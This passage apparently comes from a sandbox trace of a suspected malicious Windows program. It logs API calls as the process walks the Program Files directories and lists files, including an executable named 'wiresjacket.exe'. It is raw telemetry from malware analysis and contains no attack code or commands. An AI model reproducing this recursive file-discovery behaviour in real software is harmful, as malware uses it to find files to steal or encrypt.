ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0C0A-1000-0000000FF1CE}", cAlternateFileName="{9B17A~1")) returned 1 [0261.103] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0261.103] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 1 [0261.103] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0261.103] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 0 [0261.103] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0261.103] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0261.104] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e24d55a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e24d55a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e273816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PCHEALTH", cAlternateFileName="")) returned 1 [0261.104] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0261.104] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 1 [0261.104] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0261.104] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 0 [0261.104] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0261.104] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0261.104] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERRORREP", cAlternateFileName="")) returned 0 [0261.105] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0261.105] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0261.105] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 1 [0261.105] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0261.106] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 0 [0261.106] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0261.106] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0261.106] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0261.106] FindClose (in: hFindFile=0x6eb770 | out: hFindFile=0x6eb770) returned 1 [0261.106] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f7a000 | out: hHeap=0x630000) returned 1 [0261.110] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 0 [0261.110] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0261.110] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ff8 | out: hHeap=0x630000) returned 1 [0261.111] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 0 [0261.111] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0261.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0261.111] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x131f48fc, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x131f48fc, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1 [0261.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0261.112] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9bd190, ftCreationTime.dwHighDateTime=0x1d49d08, ftLastAccessTime.dwLowDateTime=0xa5518090, ftLastAccessTime.dwHighDateTime=0x1d4ef6e, ftLastWriteTime.dwLowDateTime=0xa5518090, ftLastWriteTime.dwHighDateTime=0x1d4ef6e, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wiresjacket.exe", cAlternateFileName="WIRESJ~1.EXE")) returned 1 [0261.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0261.112] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x131f48fc, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x131f48fc, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0261.116] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0261.116] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb1a83d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="features", cAlternateFileName="")) returned 1 [0261.119] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0261.119] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdc36bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecdc36bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb5133d80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x20853ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0261.119] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0261.119] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece35df2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xed7d339e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 0 [0261.119] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0261.120] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0261.120] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec033d59, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec033d59, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe2ca280, ftLastWriteTime.dwHighDateTime=0x1d31cde, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.manifest", cAlternateFileName="CHROME~1.MAN")) returned 1 [0261.120] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0261.120] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xeccb8639, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pref", cAlternateFileName="")) returned 0 [0261.120] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0261.120] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0261.120] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0a647c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0a647c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4504b780, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="dependentlibs.list", cAlternateFileName="DEPEND~1.LIS")) returned 1 [0261.121] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0261.121] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0cc6d9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x767d8300, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x7cdd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="firefox.exe", cAlternateFileName="")) returned 1 [0261.121] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0261.121] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec118bb8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec118bb8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x77aeb000, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="freebl3.chk", cAlternateFileName="")) returned 1 [0261.122] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0261.122] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecb87321, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="0.1", cAlternateFileName="")) returned 0 [0261.122] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0261.122] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0261.122] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec13ee02, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78dfdd00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x139d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA2Marshal.dll", cAlternateFileName="IA2MAR~1.DLL")) returned 1 [0261.124] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0261.124] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec629cf8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec629cf8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdde50400, ftLastWriteTime.dwHighDateTime=0x1d31cdd, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="update-settings.ini", cAlternateFileName="UPDATE~1.INI")) returned 1 [0261.124] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0261.124] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x131ce67f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x131ce67f, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0261.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0261.125] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709ed3a7, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709ed3a7, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0261.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0261.125] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709ed3a7, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709ed3a7, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0261.125] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0261.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0261.126] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709c717f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709c717f, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0261.126] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0261.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0261.128] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709c717f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709c717f, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0261.129] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0261.129] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0261.129] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709ed3a7, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709ed3a7, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709ed3a7, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0261.131] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0261.131] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9093563c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df28692, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6df4e8ff, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x63000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0261.132] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0261.132] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70a5faff, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0261.286] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0261.287] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0261.288] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0261.288] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70a5faff, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0261.288] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0261.288] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0261.288] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709ed3a7, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70a5faff, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70a5faff, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0261.288] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0261.288] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0261.288] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: 